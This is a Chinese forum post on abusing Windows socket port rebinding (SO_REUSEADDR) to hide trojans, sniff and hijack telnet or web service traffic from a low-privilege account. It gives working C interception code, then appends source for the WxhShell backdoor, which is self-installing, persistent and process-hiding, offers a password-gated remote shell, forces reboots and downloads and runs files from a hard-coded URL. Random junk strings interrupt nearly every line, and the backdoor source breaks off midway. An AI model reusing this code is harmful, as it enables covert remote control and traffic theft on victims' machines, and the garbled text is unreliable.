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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8[M* x3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *2=W5LaK.  
{S *!B  
  saddr.sin_family = AF_INET; x<@kjfm5  
HVGr-/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VJg,~lQN#t  
PPj[;(A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .EG* +,  
odpUM@OAW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |Ytg  
6b<+8w  
  这意味着什么?意味着可以进行如下的攻击: C3)|<E  
/VO^5Dnb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wLUF v(&C  
U{}!y3[wK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HlPG3LD!  
"J !}3)n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yb?{LL-uy  
/W`$yM3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5%P[^}  
E=k w)<X2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )v1CC..  
's.~$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `NSy"6{Z  
%[ /<+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f>z`i\1oO  
5oJ Dux }  
  #include .LObOR 5J7  
  #include h@@d{{IqT  
  #include 4uUs7T  
  #include    <s}|ZnGE   
  DWORD WINAPI ClientThread(LPVOID lpParam);   3Z1OX]R  
  int main() W' ep6O  
  { J$QBI&D  
  WORD wVersionRequested; VgMP^&/gZ  
  DWORD ret; q{E"pyt36R  
  WSADATA wsaData; k" YHsn  
  BOOL val; !| xZ6KV  
  SOCKADDR_IN saddr; 4LsHs   
  SOCKADDR_IN scaddr; KDD@%E  
  int err; 9U^$.Lb  
  SOCKET s; $O9Xx  
  SOCKET sc; W2eAhz&  
  int caddsize; ]'k[u  
  HANDLE mt; C(o.Cy6  
  DWORD tid;   ru{f]|  
  wVersionRequested = MAKEWORD( 2, 2 ); mM5|K@0|  
  err = WSAStartup( wVersionRequested, &wsaData ); nJT4w|Yx  
  if ( err != 0 ) { JUQg 'D  
  printf("error!WSAStartup failed!\n"); 94{)"w]  
  return -1; X V=S )  
  } 7Ms90oE/c  
  saddr.sin_family = AF_INET; 2]2H++  
   8a>SC$8"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %hINpZMr  
M4?8xuC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gvyT-XI  
  saddr.sin_port = htons(23); kXwi{P3D$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %LQ/q 3?_  
  { n+;vjVS%  
  printf("error!socket failed!\n"); P+Z\3re  
  return -1; "- eZZEl(  
  } w!`Umll2  
  val = TRUE; iYKU[UP?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 //.>>-~1m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U -EhPAB@  
  { "K?Q  
  printf("error!setsockopt failed!\n"); 0pN{y}x,  
  return -1; 3taa^e.  
  } [AR>?6G-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  AmcC:5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q\9K2=4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c!Dc8=nE0m  
xU}M;4kH~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t3b@P4c \  
  { [U.v:tR   
  ret=GetLastError(); Rri`dmH   
  printf("error!bind failed!\n"); 6Cc7ejt|u  
  return -1; DMZ`Sx  
  } MEq"}zrh  
  listen(s,2); G{b:i8}l  
  while(1) )~ z Z'^  
  { L.B~ax.|Z  
  caddsize = sizeof(scaddr); ll<mE,  
  //接受连接请求 |0 !I5|<k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <o0~H  
  if(sc!=INVALID_SOCKET) )acV-+{  
  { jG D%r~lN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eH <Jng  
  if(mt==NULL) 5v9Vk` 3'  
  { 4:1)~z  
  printf("Thread Creat Failed!\n"); Mo^`\ /x!  
  break; jN/ j\x'  
  } =;{^" #r\  
  } Z]vL%Gg*!  
  CloseHandle(mt); /P+q}L %  
  } qn"K9k  
  closesocket(s); M{G xjmdx  
  WSACleanup(); sLns3&n2  
  return 0; o8z)nOTO;  
  }   q`Q}yE> 9  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y~qb;N\  
  { \VN=Ef\E  
  SOCKET ss = (SOCKET)lpParam; &q>zR6jne  
  SOCKET sc; |LmSWy*7  
  unsigned char buf[4096]; p=gX !4,9<  
  SOCKADDR_IN saddr; S " pI  
  long num; kuKa8c  
  DWORD val; -BhTkoN)  
  DWORD ret; s@!$='|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <KQ(c`KW7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U7H9/<&o  
  saddr.sin_family = AF_INET; Qn=$8!Qqa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ndi+xaQtG  
  saddr.sin_port = htons(23); #ia;- 3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #a,9B-X  
  { 9%!dNnUk  
  printf("error!socket failed!\n"); V'StvU  
  return -1; -Mf Q&U   
  } z"379b7cN  
  val = 100; T~k)uQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !LIlt`ag9  
  { 9DE)S)e8  
  ret = GetLastError(); $1 @,Qor  
  return -1; T bf:eVIG  
  } $j*Qo/x d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U<bYFuS"  
  { tcL2J.  
  ret = GetLastError(); :"'nK6>  
  return -1; DWf$X1M  
  } 0=![fjm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8MZ$T3IM  
  { ~<r i97)  
  printf("error!socket connect failed!\n"); g}Q x`65:  
  closesocket(sc); 4~|<` vqN  
  closesocket(ss); x-_vl 9P)  
  return -1; cm@;*  
  } Vb)zZ^va+  
  while(1) : F9|&q-W,  
  { 6 bO;&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !'W-6f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jv&+<j`r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~&g a1r2v?  
  num = recv(ss,buf,4096,0); urZ8j?}c  
  if(num>0) )2.)3w1_4  
  send(sc,buf,num,0); '^}+Fv<O  
  else if(num==0) yV]xRaRr2  
  break; R$6qoqv{yG  
  num = recv(sc,buf,4096,0); }5bM1h#z  
  if(num>0) +nU.p/cK+\  
  send(ss,buf,num,0); 3-x%wD.  
  else if(num==0) w*~Tm>U  
  break; [m2+9MMl  
  } o4Q3<T7nI  
  closesocket(ss); `X -<$x  
  closesocket(sc); I3)Zr+  
  return 0 ; :.&{Z"  
  } L *Y|ey  
U[||~FW'  
$0qMQ%P  
========================================================== =NDOS{($  
2`Gv5}LfyR  
下边附上一个代码,,WXhSHELL REA;x-u*  
4v.d-^  
========================================================== 3 ^}A %-bS  
fx?$9(r,  
#include "stdafx.h" (bm;*2  
)[&zCq Dc  
#include <stdio.h> RKuqx:U  
#include <string.h> ]gP5f@`  
#include <windows.h> >.DC!QV  
#include <winsock2.h> |wp ,f%WK  
#include <winsvc.h> e!X(yJI[O6  
#include <urlmon.h> g9>~HF$U  
x';u CKWV  
#pragma comment (lib, "Ws2_32.lib") -%m3-xZA  
#pragma comment (lib, "urlmon.lib") 5PiOH"!19  
W{Z^n(f4  
#define MAX_USER   100 // 最大客户端连接数 ;l!`C':'  
#define BUF_SOCK   200 // sock buffer ?R'Y?b  
#define KEY_BUFF   255 // 输入 buffer ]U_ec*a  
^T079=$5  
#define REBOOT     0   // 重启 \}dyS8  
#define SHUTDOWN   1   // 关机 OW5t[~y]  
id,NONb\  
#define DEF_PORT   5000 // 监听端口 Ge \["`;i  
6 /Y1 wu  
#define REG_LEN     16   // 注册表键长度 p>kq+mP2bc  
#define SVC_LEN     80   // NT服务名长度 FFcB54ALTf  
hIU(P Dl4  
// 从dll定义API .6.^G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P&=lV}f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); npH?4S-8G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aC^$*qN-)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~5OL6Bi-q  
ai-n z-;  
// wxhshell配置信息 |jG~,{  
struct WSCFG { 1oY^]OD]W  
  int ws_port;         // 监听端口 r>n" 51*  
  char ws_passstr[REG_LEN]; // 口令 a.kbov(  
  int ws_autoins;       // 安装标记, 1=yes 0=no &ab|2*3?X  
  char ws_regname[REG_LEN]; // 注册表键名 +%#8k9Y  
  char ws_svcname[REG_LEN]; // 服务名 ;Icixu'O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5<R%H{3j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1W,(\'^R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xeA#u J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bB 6[Xj{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C/tr$.2H=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WUoOGbA `  
&M[f&_"8Q  
}; WES#ZYtT  
:qj<p3w~}  
// default Wxhshell configuration q,l)I+  
struct WSCFG wscfg={DEF_PORT, Uems\I0  
    "xuhuanlingzhe", sqO< J$tz  
    1, 7"2b H  
    "Wxhshell", ?M}S| dsmE  
    "Wxhshell", p EusTP  
            "WxhShell Service", qx)?buAij  
    "Wrsky Windows CmdShell Service", _8fA?q=  
    "Please Input Your Password: ", JK)qZ=  
  1, b{cU<;G)y.  
  "http://www.wrsky.com/wxhshell.exe", 0b-?q&*_  
  "Wxhshell.exe" p]&j;H.  
    }; wij,N(,H  
GjT#%GBF  
// 消息定义模块 FN87^.^2S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MDO$m g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PuCc2'#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )&W**!(C  
char *msg_ws_ext="\n\rExit."; 'Pd(\$ZY  
char *msg_ws_end="\n\rQuit."; p2O~>97t1  
char *msg_ws_boot="\n\rReboot..."; u$*>`Xe6  
char *msg_ws_poff="\n\rShutdown..."; S2^>6/[xM  
char *msg_ws_down="\n\rSave to "; {qpi?oY  
ZxHJ<2oD  
char *msg_ws_err="\n\rErr!"; w# y2_  
char *msg_ws_ok="\n\rOK!"; (Tvcq  
7+,vTsCd  
char ExeFile[MAX_PATH]; -n))*.V  
int nUser = 0; c:hK$C)T  
HANDLE handles[MAX_USER]; Gt-UJ-RR y  
int OsIsNt; $:bih4 @>  
a)s;dp}T%  
SERVICE_STATUS       serviceStatus; 9;=dxWf   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /yPXMJ6W~R  
7{M>!} rY  
// 函数声明 EU+cca|qS9  
int Install(void); M0'v&g  
int Uninstall(void); `DW2spd  
int DownloadFile(char *sURL, SOCKET wsh); hv)8K'u  
int Boot(int flag); {})$ 99"x  
void HideProc(void); + ,4" u  
int GetOsVer(void); &0 \ ci9o  
int Wxhshell(SOCKET wsl); ~)X[(T{  
void TalkWithClient(void *cs); %w}gzxN^  
int CmdShell(SOCKET sock); wS XVyg{  
int StartFromService(void); nb, 2,H  
int StartWxhshell(LPSTR lpCmdLine); ~^US/"  
:nJgwp()@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cDkV;$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); smy}3k  
[0@`wZ  
// 数据结构和表定义 grom\  
SERVICE_TABLE_ENTRY DispatchTable[] = :1wrVU-?h  
{ ;y>a nE}n{  
{wscfg.ws_svcname, NTServiceMain}, /@oLe[Mz$  
{NULL, NULL} 2Aq~D@,9=:  
}; <PD?f/4 /  
/n5n )P@L  
// 自我安装 $95~5]-nh  
int Install(void) D]03eu  
{ ERMa# L  
  char svExeFile[MAX_PATH]; `lpz-"EEV  
  HKEY key; \=2m7v#E  
  strcpy(svExeFile,ExeFile); Wch~ Yb  
*VeW?mY,P  
// 如果是win9x系统,修改注册表设为自启动 KG9t3<-`  
if(!OsIsNt) { zc+@lJy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J%rP$O$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XEH}4;C'{  
  RegCloseKey(key); rNN j0zw>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uGH?N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LF<wt2?*  
  RegCloseKey(key); -_A$DM!^=w  
  return 0; \Ad7 Gi~  
    } kBWrqZ6  
  } ](0mjE04<d  
} Ud%s^A-qS  
else { =\kMXB  
{3\R|tZh,`  
// 如果是NT以上系统,安装为系统服务 wxQ>ifi9Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /BA{O&Ro^  
if (schSCManager!=0) al^!,ykc  
{ +OaUP*\Dd  
  SC_HANDLE schService = CreateService /pH(WHT+/H  
  ( + %*&.@z_  
  schSCManager, Qs 2.ef?  
  wscfg.ws_svcname, <, @%*G1-  
  wscfg.ws_svcdisp, #J\rv'  
  SERVICE_ALL_ACCESS, *|:Q%xr-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7L(e h7  
  SERVICE_AUTO_START,  J m{  
  SERVICE_ERROR_NORMAL, Ve 3 ;  
  svExeFile, n(ir[w#,]"  
  NULL, EMvHFu   
  NULL, ,XKCz ]8V  
  NULL, sH#X0fG  
  NULL, _=f=fcl  
  NULL epD?K  
  ); @tUoD>f  
  if (schService!=0) #Z,E><t  
  { ':h =*v8a  
  CloseServiceHandle(schService); Rd&9E  
  CloseServiceHandle(schSCManager); kyYLP"oB=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +g*k*e>l  
  strcat(svExeFile,wscfg.ws_svcname); E9fxjI%1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  Gs0H@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k#>hg#G  
  RegCloseKey(key); (U1]:tZ<.  
  return 0; *A}WP_ZQ  
    } (GK pA}~R  
  } wEft4 o  
  CloseServiceHandle(schSCManager); 'o4p#`R:8  
} :*i f  
} {<$b Aj  
f'En#-?O  
return 1; aE VsU|  
} <O~WB  
\FmKJ\  
// 自我卸载 PH3 >9/H  
int Uninstall(void) ,?cH"@ RJ  
{ Zl/< w(f_  
  HKEY key; *<4Em{rZ5  
q ?j|K|%   
if(!OsIsNt) { `{K_/Cit  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ Y2 U7W  
  RegDeleteValue(key,wscfg.ws_regname); W_YY#wf_  
  RegCloseKey(key); ?}p:J{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nA7M8HB  
  RegDeleteValue(key,wscfg.ws_regname); C|-pD  
  RegCloseKey(key); T3%C%BcX  
  return 0; 5r,r%{@K  
  } .10y0F L4  
} h:bru:ef  
} L{{CAB!  
else { d3Di/Iej   
)U t5+-UK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N5U)*U'-u  
if (schSCManager!=0) MmTC=/j  
{ D1s4`V -  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .3qu9eP   
  if (schService!=0) 4$6T+i2E   
  { b-5y9K  
  if(DeleteService(schService)!=0) { s0u{d qP  
  CloseServiceHandle(schService); F _3:bX  
  CloseServiceHandle(schSCManager); AvJ,SQt  
  return 0; gN6rp(?y  
  } X"MU3]  
  CloseServiceHandle(schService); csZ c|kDI  
  } <W)u{KS#TY  
  CloseServiceHandle(schSCManager); A=5epsB  
} wE\3$ s/{D  
} sq/]wzT:  
0ZpFE&  
return 1; CO+/.^s7}S  
} dP2irC%f8  
TCKu,}s  
// 从指定url下载文件 @Yw,nQE)b  
int DownloadFile(char *sURL, SOCKET wsh) `YBkF  
{ Y4.Eq+$gh  
  HRESULT hr; GwU?wIIj^  
char seps[]= "/"; 9O*_L:4o  
char *token; 8|?LN8rp  
char *file; &^&zR(o`  
char myURL[MAX_PATH]; +UN<Zp7I/  
char myFILE[MAX_PATH]; ,3i,P(?(  
Y.#:HRtgW  
strcpy(myURL,sURL); p,g1eb|E  
  token=strtok(myURL,seps); ^L4Qbc(vJ  
  while(token!=NULL) E.bi05l  
  { sW#JjtK  
    file=token; PCrU<J 7  
  token=strtok(NULL,seps); }G<T:(a  
  } 58xnB!h\}  
%(/!ljh_  
GetCurrentDirectory(MAX_PATH,myFILE); w~R`D  
strcat(myFILE, "\\"); I751 t  
strcat(myFILE, file); 9Z"+?bv/  
  send(wsh,myFILE,strlen(myFILE),0); 'J)2g"T@  
send(wsh,"...",3,0); =:,xxqy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e-hjC6Q U  
  if(hr==S_OK) a&{X!:X  
return 0; i+3fhV  
else vl E z9/H  
return 1;  $!@\  
-Ng'<7  
} t`'iU$:1f  
4\ c,)U}  
// 系统电源模块 owpWz6k7  
int Boot(int flag) 3-n1 9[zk  
{ NSA F4e  
  HANDLE hToken; y&[y=0!  
  TOKEN_PRIVILEGES tkp; |!SO G  
I&|f'pn^<  
  if(OsIsNt) { |C%Pjl^YkV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Scm36sT{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qm*}U3K  
    tkp.PrivilegeCount = 1; =QJRMF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DaHZ{T8>d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pl=]Srw  
if(flag==REBOOT) { c?2MBtnu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6 9y;`15  
  return 0; ^i)hm  
} g.JN_t5  
else { x"P);su  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?rX]x8iP  
  return 0; HS>f1!  
} G.'+-v=\]  
  }  6Si-u  
  else { 5v\!]?(O;  
if(flag==REBOOT) { ma$Prd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !}+tdT(y  
  return 0; ^vs=f 95  
} yqXH:757~  
else { \'CN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DmVP  
  return 0; GV6K/T :  
} p}b/XnV$~  
} pg+[y<B  
wu9=N ^x  
return 1; o'<^LYSnB  
} -tsDMji~V  
;!< Znw  
// win9x进程隐藏模块 e,_-Je  
void HideProc(void) S\6[EQ65  
{ ,bE$| x'  
6&Juv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5m:i6,4  
  if ( hKernel != NULL ) +z9@:L  
  { 8;Fn7k_Uf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e}VBRvr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u,3,ck!B>@  
    FreeLibrary(hKernel); s#Jh -+lM  
  } :HxA`@Ok  
4n1; Bh$  
return; %ows BO+  
} 9~rUkHD  
Z|9u]xL  
// 获取操作系统版本 '\fY<Q:!  
int GetOsVer(void) %n%xR%|  
{ 7?gFy-  
  OSVERSIONINFO winfo; 3cS2gxF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {j{+0V  
  GetVersionEx(&winfo); Rd7_~.Bo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d%I" /8-J  
  return 1; C9DJO:f.2y  
  else H2xeP%;$  
  return 0; _sE#)@p  
} @;xMs8@  
yL^UE=#C_  
// 客户端句柄模块 +`M!D }!  
int Wxhshell(SOCKET wsl) LWsP ya  
{ ']- @? sD$  
  SOCKET wsh; y|&}.~U[  
  struct sockaddr_in client; Mr--4D0Hk  
  DWORD myID; pu!dqF<  
e7fiGl  
  while(nUser<MAX_USER) 3($"q]Y  
{ %u^ JpC{E  
  int nSize=sizeof(client); 0qjXQs}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {*ZY(6^  
  if(wsh==INVALID_SOCKET) return 1; 7J28JK  
n 26Y]7N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kz<@x`0   
if(handles[nUser]==0) X1[CX&Am  
  closesocket(wsh); 2-zT$`[]J  
else V]c;^  
  nUser++; KD1=Y80P  
  } =ItkFjhBc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z)XRx:YU;$  
~m1P_`T  
  return 0; b96%")  
} B()/.w?A  
fW`&'!  
// 关闭 socket kY,U8a3!  
void CloseIt(SOCKET wsh) 1CPjil*eb  
{ Iq+>qX   
closesocket(wsh); MC 0TaP  
nUser--; #zrTY9m7  
ExitThread(0); e}@)z3Q<l  
} `6y{.$ z  
P X;Ed*y  
// 客户端请求句柄 /:<IIqO.  
void TalkWithClient(void *cs) 6~#Ih)K  
{ HIGq%m=-x  
;U: {/  
  SOCKET wsh=(SOCKET)cs; 2,vB'CAI  
  char pwd[SVC_LEN]; 7:]Pl=:X  
  char cmd[KEY_BUFF]; J`IDlGFYp  
char chr[1]; G a;.a  
int i,j; M L7 \BT  
Ov-b:l H  
  while (nUser < MAX_USER) { Gc.P,K/hr  
2 nb:)  
if(wscfg.ws_passstr) { 2RF^s.W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  $rXh0g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r[.>P$U  
  //ZeroMemory(pwd,KEY_BUFF); obK*rdg ,  
      i=0; p\C%%  
  while(i<SVC_LEN) { wpA`(+J  
% |q0-x  
  // 设置超时 G>YAJ o  
  fd_set FdRead; (vR 9H(#  
  struct timeval TimeOut; a</D_66  
  FD_ZERO(&FdRead); ?Y:x[pOe  
  FD_SET(wsh,&FdRead); ; )Kh;;e  
  TimeOut.tv_sec=8; &`Y!;@K9W#  
  TimeOut.tv_usec=0; xX0-]Y h:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Cp^@zw*/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d"G+8}.4  
( nW67YTr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TUT][ =.=  
  pwd=chr[0]; p <eC<dtu  
  if(chr[0]==0xd || chr[0]==0xa) { @ZN^1?][  
  pwd=0; 3$vRW.c\q  
  break; dk QaM@  
  } @4%L36k  
  i++; 1%M&CX  
    } q0%  
wn Y$fT9  
  // 如果是非法用户,关闭 socket D7]# Xk2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _$<Gyz*  
} c8)/:xxl  
|vte=)%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &"_u}I&\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ERUt'1F?]  
kE.x+2  
while(1) { I O%6 O  
dAP|:&y@  
  ZeroMemory(cmd,KEY_BUFF); 2LCB])X  
M)?dEgU}M  
      // 自动支持客户端 telnet标准   ~mV"i7VX  
  j=0; N_4eM,7t  
  while(j<KEY_BUFF) {  6,1b=2G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *KK+X07  
  cmd[j]=chr[0]; rI5F oh6  
  if(chr[0]==0xa || chr[0]==0xd) { vgn@d,v  
  cmd[j]=0; QU{Ech'  
  break; r8xyd"Axy  
  } * v8Ts  
  j++; ~/_9P Fk  
    } =1h9rlFj"D  
jO9ip  
  // 下载文件 _FbC{yI8;  
  if(strstr(cmd,"http://")) { d-bqL:/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |eoid?=  
  if(DownloadFile(cmd,wsh)) qo+N,x9o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &m3.h!dq  
  else BE&B}LfvfO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xqp|VbDca  
  } JXiZB 8}  
  else { {P8[X@Lu  
e{({|V '  
    switch(cmd[0]) { @/ J [t  
  [#" =yzR<3  
  // 帮助 *y`%]Hy<  
  case '?': { j^`X~gE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F} J-gZl  
    break; /9Q3iV$I]  
  } iK;dU2h  
  // 安装 +&tgJ07A  
  case 'i': { Q8p&Ki;i  
    if(Install()) U]qav,^[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PYB+FcR6?n  
    else Uts"aQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "wH)mQnd  
    break; HDM<w+ZxX  
    } (VvKGh  
  // 卸载 '"pd  
  case 'r': { 3[p_!eoW  
    if(Uninstall()) 0uVv<Q~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W#_/ak$uF*  
    else nGZX7Fx5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J2GcBzRH  
    break; Jsg I'  
    } ;S$Ll*f>D  
  // 显示 wxhshell 所在路径 5yh/0i5|  
  case 'p': { \^+ILYO:$  
    char svExeFile[MAX_PATH]; `|1MlRM9  
    strcpy(svExeFile,"\n\r"); ocwG7J\W  
      strcat(svExeFile,ExeFile); N5|Rmfo1  
        send(wsh,svExeFile,strlen(svExeFile),0); y;" n9  
    break; 7>o .0  
    } y#ON|c /  
  // 重启 pl*~kG=  
  case 'b': { rgIrr5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z `8cOK-  
    if(Boot(REBOOT)) 6XEZ4QP}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fi PIAT}  
    else { G" b60RQ  
    closesocket(wsh); (A k\Lm  
    ExitThread(0); ,zcQS-e2  
    } lw8"'0  
    break; (J$\-a7<f  
    } 5FvOznK^e  
  // 关机 FHy76^h>e  
  case 'd': { pvWau1ArNq  
